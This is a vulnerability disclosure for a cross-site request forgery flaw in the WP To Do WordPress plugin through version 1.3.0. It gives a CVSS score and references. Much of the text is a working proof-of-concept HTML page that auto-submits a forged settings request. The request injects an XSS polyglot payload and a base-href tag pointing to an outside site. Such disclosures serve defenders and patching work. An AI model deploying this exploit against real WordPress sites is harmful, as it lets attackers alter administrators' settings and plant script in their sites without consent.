Description
The WP To Do plugin for WordPress is vulnerable to Cross-Site Request Forgery in all versions up to, and including, 1.3.0. This is due to missing or incorrect nonce validation on the wptodo_settings() function. This makes it possible for unauthenticated attackers to modify the plugin’s settings via a forged request granted they can trick a site administrator into performing an action such as clicking on a link.
Severity
4.3 (Medium) - CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:L/A:N
Affected Version
<= 1.3.0
PoC :
<html>
<!-- Made by eneriiiii<3 / https://x.com/aaillesim -->
<body>
<form action="http://[ASSETS]/wp-admin/admin.php?page=wptodo_settings" method="POST">
<input type="hidden" name="subject" value="JavaScript://%0A/*?'/*\\'/*"/*\\"/*`/*\\`/*&apos;)/*<!--></Title/</Style/</Script/</textArea/</iFrame/</noScript>\\74k<K/contentEditable/autoFocus/OnFocus=/*${/*/;{/**/(confirm)(1+2+3+4+5+6+7+8+9+10+11+12+13+14+15+16+17+18+19+20+45+500+1000-400-20+2)}//><Base/Href=//ener1-s3c.github.io\\76-->" />
<input type="hidden" name="body" value="JavaScript://%0A/*?'/*\\'/*"/*\\"/*`/*\\`/*&apos;)/*<!--></Title/</Style/</Script/</textArea/</iFrame/</noScript>\\74k<K/contentEditable/autoFocus/OnFocus=/*${/*/;{/**/(confirm)(1+2+3+4+5+6+7+8+9+10+11+12+13+14+15+16+17+18+19+20+45+500+1000-400-20+2)}//><Base/Href=//ener1-s3c.github.io\\76-->" />
<input type="hidden" name="submit" value="Submit Query" />
<input type="submit" value="Submit request" />
</form>
<script>
history.pushState('', '', '/');
document.forms[0].submit();
</script>
</body>
</html>
Reference
- https://plugins.trac.wordpress.org/browser/wp-todo/trunk/inc/Base/Model.php#L304
- https://www.wordfence.com/threat-intel/vulnerabilities/wordpress-plugins/wp-todo/wp-to-do-130-cross-site-request-forgery-via-wptodo-settings